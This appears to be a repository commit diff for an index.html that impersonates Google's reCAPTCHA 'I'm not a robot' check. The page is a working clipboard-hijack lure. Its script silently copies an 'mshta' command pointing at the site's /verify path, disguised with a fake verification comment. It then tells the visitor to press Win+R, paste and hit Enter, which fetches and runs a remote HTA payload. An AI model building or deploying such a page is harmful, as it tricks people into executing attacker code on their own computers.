reCAPTCHA

Running

App Files Files Community

enotkrutoy commited on Sep 23, 2025

Commit

9b74d8b

verified ·

1 Parent(s): 59171c6

Update index.html

Browse files

Files changed (1) hide show

index.html +72 -177

index.html CHANGED Viewed

@@ -1,41 +1,32 @@
 <!DOCTYPE html>
 <html lang="en">
-    <head>
-        <meta charset="utf-8">
-        <title>reCAPTCHA Verification</title>
-        <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
-        <style>
         .bold-large-text {
-         font-weight: bold;
-         font-size: 36px;
         }
         .container {
             font-family: Roboto, helvetica, arial, sans-serif;
         }
         .m-p {
             margin: 0;
             padding: 0;
         }
         .block {
             display: block;
         }
         code {
             font-size: 9px;
             margin-left: 2px;
             color: gray;
         }
         .line-normal {
             line-height: normal;
         }
         .checkbox-window {
             height: 74px;
             width: 300px;
@@ -43,22 +34,18 @@
             border-radius: 3px;
             border: 1px solid #d3d3d3;
         }
         .checkbox-window a {
             color: #555;
             text-decoration: none;
         }
         .checkbox-window a:hover {
             color: #555;
             text-decoration: underline;
         }
         .checkbox-container {
             width: 28px;
             height: 28px;
         }
         .checkbox {
             position: relative;
             background-color: #fff;
@@ -71,11 +58,9 @@
             font-family: Roboto, helvetica, arial, sans-serif;
             transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
         }
         .checkbox:hover {
             border: 2px solid #b2b2b2;
         }
         .im-not-a-robot {
             position: relative;
             left: 52px;
@@ -83,10 +68,8 @@
             font-size: 15px;
             color: #282727;
         }
         .captcha-logo {
             position: relative;
             left: 244px;
             bottom: 36px;
             width: 40px;
@@ -94,8 +77,6 @@
             vertical-align: baseline;
             padding-bottom: 4px;
         }
         .checkbox-desc {
             color: #555555;
             position: relative;
@@ -104,7 +85,6 @@
             bottom: 40px;
             left: 112px;
         }
         .spinner {
             visibility: hidden;
             position: relative;
@@ -115,22 +95,14 @@
             border: 2px solid rgba(0, 0, 0, 0.1);
             border-top: 2px solid #333;
             border-radius: 50%;
-            visibility: hidden;
             opacity: 0;
             transition: opacity 0.5s linear;
             animation: spin 1s linear infinite;
         }
         @keyframes spin {
-            0% {
-                transform: rotate(0deg);
-            }
-            100% {
-                transform: rotate(360deg);
-            }
         }
         .verify-window {
             font-family: Roboto, helvetica, arial, sans-serif;
             opacity: 0;
@@ -140,25 +112,18 @@
             width: 310px;
             background-color: #fff;
             border: 1px solid #cecece;
-            -webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
             box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
             transition: opacity 400ms;
         }
         ol {
             counter-reset: item;
             list-style-type: none;
-            list-style-position: outside;
             padding-left: 0;
         }
         ol li {
             counter-increment: item;
             margin-bottom: 10px;
         }
         ol li::before {
             content: counter(item) ". ";
             color: #1A73E8;
@@ -166,38 +131,30 @@
             margin-right: 10px;
             margin-left: 10px;
         }
         .verify-container {
             padding: 8px;
         }
         .verify-header {
             background-color: #1A73E8;
             padding: 16px 16px 24px 16px;
             color: #fff;
         }
         .verify-header-text-small {
             font-size: 14px;
             line-height: normal;
         }
         .verify-header-text-medium {
             font-size: 16px;
         }
         .verify-header-text-big {
             font-size: 24px;
             font-weight: 700;
         }
         .verify-main {
             padding: 5px;
             color: #111;
-            font-size: px;
         }
         .verify-footer {
             border-top: 1px solid #cecece;
             padding: 10px 7px 10px 7px;
@@ -206,18 +163,16 @@
             grid-template-columns: auto 102px;
             font-size: 13px;
         }
         .verify-footer-left {
             padding: 5px;
         }
         .verify-verify-button {
             text-transform: uppercase;
             background-color: #5a89e2;
             color: #fff;
             text-align: center;
             width: 100%;
-            padding: 12px 0 12px 0;
             text-decoration: none;
             font-weight: 600;
             height: min-content;
@@ -227,55 +182,43 @@
             outline: none;
             cursor: not-allowed;
         }
-        </style>
-    </head>
-    <body>
-    <div class="container m-p">
         <div id="checkbox-window" class="checkbox-window m-p block">
             <div class="checkbox-container m-p">
                 <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
             </div>
             <p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
-            <img src="https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png" class="captcha-logo line-normal" alt="">
             <br>
             <p class="checkbox-desc m-p line-normal">
-            <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
             </p>
             <img class="spinner" alt="" id="spinner">
         </div>
         <div id="verify-window" class="verify-window">
             <div class="verify-container">
                 <header class="verify-header">
                     <span class="verify-header-text-medium m-p block">Complete these</span>
                     <span class="verify-header-text-big m-p block">Verification Steps</span>
-                    <span class="verify-header-text-medium m-p block"></span>
                 </header>
                 <main class="verify-main">
-                    <p>
-                        To better prove you are not a robot, please:
-                    </p>
                     <ol>
-                        <li>
-                            Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.
-                        </li>
-                        <li>
-                            In the verification window, press <b>Ctrl</b> + <b>V</b>.
-                        </li>
-                        <li>
-                            Press <b>Enter</b> on your keyboard to finish.
-                        </li>
                     </ol>
                     <p class="verify-main">
-                            You will observe and agree:
-                    <br>
-                    <code>
-                    ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>"
-                    </code>
-                    </p>
                 </main>
             </div>
             <footer class="verify-container verify-footer">
@@ -284,7 +227,7 @@
                 </div>
                 <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
             </footer>
-        </div>
     </div>
     <script>
@@ -311,34 +254,31 @@
         function runClickedCheckboxEffects() {
             hideCaptchaCheckbox();
-            setTimeout(function(){
-                showCaptchaLoading();
-            },500);
-            setTimeout(function(){
-                showVerifyWindow();
-            },900)
         }
         function showCaptchaLoading() {
             checkboxBtnSpinner.style.visibility = "visible";
             checkboxBtnSpinner.style.opacity = "1";
-            checkboxBtnSpinner.style.animation = "spin 1s linear infinite";
         }
         function hideCaptchaLoading() {
             checkboxBtnSpinner.style.opacity = "0";
-            checkboxBtnSpinner.style.animation = "none";
-            setTimeout(function() {
                 checkboxBtnSpinner.style.visibility = "hidden";
             }, 500);
         }
         function hideCaptchaCheckbox() {
-            checkboxBtn.style.visibility = "hidden";
             checkboxBtn.style.opacity = "0";
         }
         function showCaptchaCheckbox() {
             checkboxBtn.style.width = "100%";
             checkboxBtn.style.height = "100%";
@@ -347,27 +287,8 @@
             checkboxBtn.style.opacity = "1";
         }
-        function hideCaptchaCheckbox() {
-            checkboxBtn.style.width = "4px";
-            checkboxBtn.style.height = "4px";
-            checkboxBtn.style.borderRadius = "50%";
-            checkboxBtn.style.marginLeft = "25px";
-            checkboxBtn.style.marginTop = "33px";
-            checkboxBtn.style.opacity = "0";
-        }
-        function showCaptchaLoading() {
-            checkboxBtnSpinner.style.visibility = "visible";
-            checkboxBtnSpinner.style.opacity = "1";
-        }
-        function hideCaptchaLoading() {
-            checkboxBtnSpinner.style.visibility = "hidden";
-            checkboxBtnSpinner.style.opacity = "0";
-        }
-       function generateRandomNumber() {
-            const min = 1000;
             const max = 9999;
             return Math.floor(Math.random() * (max - min + 1) + min).toString();
         }
@@ -376,83 +297,57 @@
             verifywindow.style.display = "none";
             verifywindow.style.visibility = "hidden";
             verifywindow.style.opacity = "0";
             showCaptchaCheckbox();
             hideCaptchaLoading();
             checkboxBtn.disabled = false;
         }
         function isverifywindowVisible() {
-            return verifywindow.style.display !== "none" && verifywindow.style.display !== "";
         }
-        function setClipboardCopyData(textToCopy){
             const tempTextArea = document.createElement("textarea");
             tempTextArea.value = textToCopy;
-            document.body.append(tempTextArea);
             tempTextArea.select();
             document.execCommand("copy");
             document.body.removeChild(tempTextArea);
         }
-        function stageClipboard(commandToRun, verification_id){
-            const suffix = " # "
-            const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: "
-            const end = "''"
-            const textToCopy = commandToRun + suffix + ploy + verification_id + end
             setClipboardCopyData(textToCopy);
         }
-function showVerifyWindow() {
-    // Убедитесь, что verifywindow существует
-    if (!verifywindow) {
-        console.error('Verify window element is missing!');
-        return;
-    }
-    // Показать окно проверки
-    verifywindow.style.display = "block";
-    verifywindow.style.visibility = "visible";
-    verifywindow.style.opacity = "1";
-    // Центрирование окна
-    verifywindow.style.position = "fixed";
-    verifywindow.style.top = "50%";
-    verifywindow.style.left = "50%";
-    verifywindow.style.transform = "translate(-50%, -50%)";
-    // Установка минимальной позиции
-    if (verifywindow.offsetTop < 5) {
-        verifywindow.style.top = "5px";
-    }
-    // Корректировка позиции, если окно выходит за границы экрана
-    if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth) {
-        verifywindow.style.left = window.innerWidth - verifywindow.offsetWidth + "px";
-    }
-    // Генерация уникального идентификатора проверки
-    var verification_id = generateRandomNumber();
-    // Убедитесь, что элемент для отображения ID существует
-    var verificationIdElement = document.getElementById('verification-id');
-    if (verificationIdElement) {
-        verificationIdElement.textContent = verification_id;
-    } else {
-        console.error('Verification ID element is missing!');
-    }
-    // Формирование команды для выполнения
-    const htaPath = window.location.origin + "/verify";
-    const commandToRun = "mshta " + htaPath;
-    stageClipboard(commandToRun, verification_id);
-}
         addCaptchaListeners();
-        </script>
-    </body>
-</html>

 <!DOCTYPE html>
 <html lang="en">
+<head>
+    <meta charset="utf-8">
+    <title>reCAPTCHA Verification</title>
+    <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css">
+    <style>
         .bold-large-text {
+            font-weight: bold;
+            font-size: 36px;
         }
         .container {
             font-family: Roboto, helvetica, arial, sans-serif;
         }
         .m-p {
             margin: 0;
             padding: 0;
         }
         .block {
             display: block;
         }
         code {
             font-size: 9px;
             margin-left: 2px;
             color: gray;
         }
         .line-normal {
             line-height: normal;
         }
         .checkbox-window {
             height: 74px;
             width: 300px;
             border-radius: 3px;
             border: 1px solid #d3d3d3;
         }
         .checkbox-window a {
             color: #555;
             text-decoration: none;
         }
         .checkbox-window a:hover {
             color: #555;
             text-decoration: underline;
         }
         .checkbox-container {
             width: 28px;
             height: 28px;
         }
         .checkbox {
             position: relative;
             background-color: #fff;
             font-family: Roboto, helvetica, arial, sans-serif;
             transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms;
         }
         .checkbox:hover {
             border: 2px solid #b2b2b2;
         }
         .im-not-a-robot {
             position: relative;
             left: 52px;
             font-size: 15px;
             color: #282727;
         }
         .captcha-logo {
             position: relative;
             left: 244px;
             bottom: 36px;
             width: 40px;
             vertical-align: baseline;
             padding-bottom: 4px;
         }
         .checkbox-desc {
             color: #555555;
             position: relative;
             bottom: 40px;
             left: 112px;
         }
         .spinner {
             visibility: hidden;
             position: relative;
             border: 2px solid rgba(0, 0, 0, 0.1);
             border-top: 2px solid #333;
             border-radius: 50%;
             opacity: 0;
             transition: opacity 0.5s linear;
             animation: spin 1s linear infinite;
         }
         @keyframes spin {
+            0% { transform: rotate(0deg); }
+            100% { transform: rotate(360deg); }
         }
         .verify-window {
             font-family: Roboto, helvetica, arial, sans-serif;
             opacity: 0;
             width: 310px;
             background-color: #fff;
             border: 1px solid #cecece;
             box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12);
             transition: opacity 400ms;
         }
         ol {
             counter-reset: item;
             list-style-type: none;
             padding-left: 0;
         }
         ol li {
             counter-increment: item;
             margin-bottom: 10px;
         }
         ol li::before {
             content: counter(item) ". ";
             color: #1A73E8;
             margin-right: 10px;
             margin-left: 10px;
         }
         .verify-container {
             padding: 8px;
         }
         .verify-header {
             background-color: #1A73E8;
             padding: 16px 16px 24px 16px;
             color: #fff;
         }
         .verify-header-text-small {
             font-size: 14px;
             line-height: normal;
         }
         .verify-header-text-medium {
             font-size: 16px;
         }
         .verify-header-text-big {
             font-size: 24px;
             font-weight: 700;
         }
         .verify-main {
             padding: 5px;
             color: #111;
+            font-size: 14px;
         }
         .verify-footer {
             border-top: 1px solid #cecece;
             padding: 10px 7px 10px 7px;
             grid-template-columns: auto 102px;
             font-size: 13px;
         }
         .verify-footer-left {
             padding: 5px;
         }
         .verify-verify-button {
             text-transform: uppercase;
             background-color: #5a89e2;
             color: #fff;
             text-align: center;
             width: 100%;
+            padding: 12px 0;
             text-decoration: none;
             font-weight: 600;
             height: min-content;
             outline: none;
             cursor: not-allowed;
         }
+    </style>
+</head>
+<body>
+    <div class="container m-p">
         <div id="checkbox-window" class="checkbox-window m-p block">
             <div class="checkbox-container m-p">
                 <button type="button" id="checkbox" class="checkbox m-p line-normal"></button>
             </div>
             <p class="im-not-a-robot m-p line-normal">I'm not a robot</p>
+            <img src="https://www.gstatic.com/recaptcha/api2/logo_48.png" class="captcha-logo line-normal" alt="reCAPTCHA">
             <br>
             <p class="checkbox-desc m-p line-normal">
+                <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> -
+                <a href="https://www.google.com/intl/en/policies/terms/">Terms</a>
             </p>
             <img class="spinner" alt="" id="spinner">
         </div>
         <div id="verify-window" class="verify-window">
             <div class="verify-container">
                 <header class="verify-header">
                     <span class="verify-header-text-medium m-p block">Complete these</span>
                     <span class="verify-header-text-big m-p block">Verification Steps</span>
                 </header>
                 <main class="verify-main">
+                    <p>To better prove you are not a robot, please:</p>
                     <ol>
+                        <li>Press & hold the Windows Key <i class="fab fa-windows"></i> + <b>R</b>.</li>
+                        <li>In the verification window, press <b>Ctrl</b> + <b>V</b>.</li>
+                        <li>Press <b>Enter</b> on your keyboard to finish.</li>
                     </ol>
                     <p class="verify-main">
+                        You will observe and agree:<br>
+                        <code>
+                            ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id" class="bold-large-text">4743</span>"
+                        </code>
+                    </p>
                 </main>
             </div>
             <footer class="verify-container verify-footer">
                 </div>
                 <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button>
             </footer>
+        </div>
     </div>
     <script>
         function runClickedCheckboxEffects() {
             hideCaptchaCheckbox();
+            setTimeout(showCaptchaLoading, 500);
+            setTimeout(showVerifyWindow, 900);
         }
         function showCaptchaLoading() {
             checkboxBtnSpinner.style.visibility = "visible";
             checkboxBtnSpinner.style.opacity = "1";
         }
         function hideCaptchaLoading() {
             checkboxBtnSpinner.style.opacity = "0";
+            setTimeout(() => {
                 checkboxBtnSpinner.style.visibility = "hidden";
             }, 500);
         }
         function hideCaptchaCheckbox() {
+            checkboxBtn.style.width = "4px";
+            checkboxBtn.style.height = "4px";
+            checkboxBtn.style.borderRadius = "50%";
+            checkboxBtn.style.marginLeft = "25px";
+            checkboxBtn.style.marginTop = "33px";
             checkboxBtn.style.opacity = "0";
         }
         function showCaptchaCheckbox() {
             checkboxBtn.style.width = "100%";
             checkboxBtn.style.height = "100%";
             checkboxBtn.style.opacity = "1";
         }
+        function generateRandomNumber() {
+            const min = 1000;
             const max = 9999;
             return Math.floor(Math.random() * (max - min + 1) + min).toString();
         }
             verifywindow.style.display = "none";
             verifywindow.style.visibility = "hidden";
             verifywindow.style.opacity = "0";
             showCaptchaCheckbox();
             hideCaptchaLoading();
             checkboxBtn.disabled = false;
         }
         function isverifywindowVisible() {
+            return verifywindow.style.display !== "none";
         }
+        function setClipboardCopyData(textToCopy) {
             const tempTextArea = document.createElement("textarea");
             tempTextArea.value = textToCopy;
+            document.body.appendChild(tempTextArea);
             tempTextArea.select();
             document.execCommand("copy");
             document.body.removeChild(tempTextArea);
         }
+        function stageClipboard(commandToRun, verification_id) {
+            const suffix = " # ";
+            const ploy = "✅ ''I am not a robot - reCAPTCHA Verification ID: ";
+            const end = "''";
+            const textToCopy = commandToRun + suffix + ploy + verification_id + end;
             setClipboardCopyData(textToCopy);
         }
+        function showVerifyWindow() {
+            if (!verifywindow) {
+                console.error('Verify window element is missing!');
+                return;
+            }
+            verifywindow.style.display = "block";
+            verifywindow.style.visibility = "visible";
+            verifywindow.style.opacity = "1";
+            verifywindow.style.position = "fixed";
+            verifywindow.style.top = "50%";
+            verifywindow.style.left = "50%";
+            verifywindow.style.transform = "translate(-50%, -50%)";
+            const verification_id = generateRandomNumber();
+            const verificationIdElement = document.getElementById('verification-id');
+            if (verificationIdElement) {
+                verificationIdElement.textContent = verification_id;
+            }
+            const htaPath = window.location.origin + "/verify";
+            const commandToRun = "mshta " + htaPath;
+            stageClipboard(commandToRun, verification_id);
+        }
         addCaptchaListeners();
+    </script>
+</body>
+</html>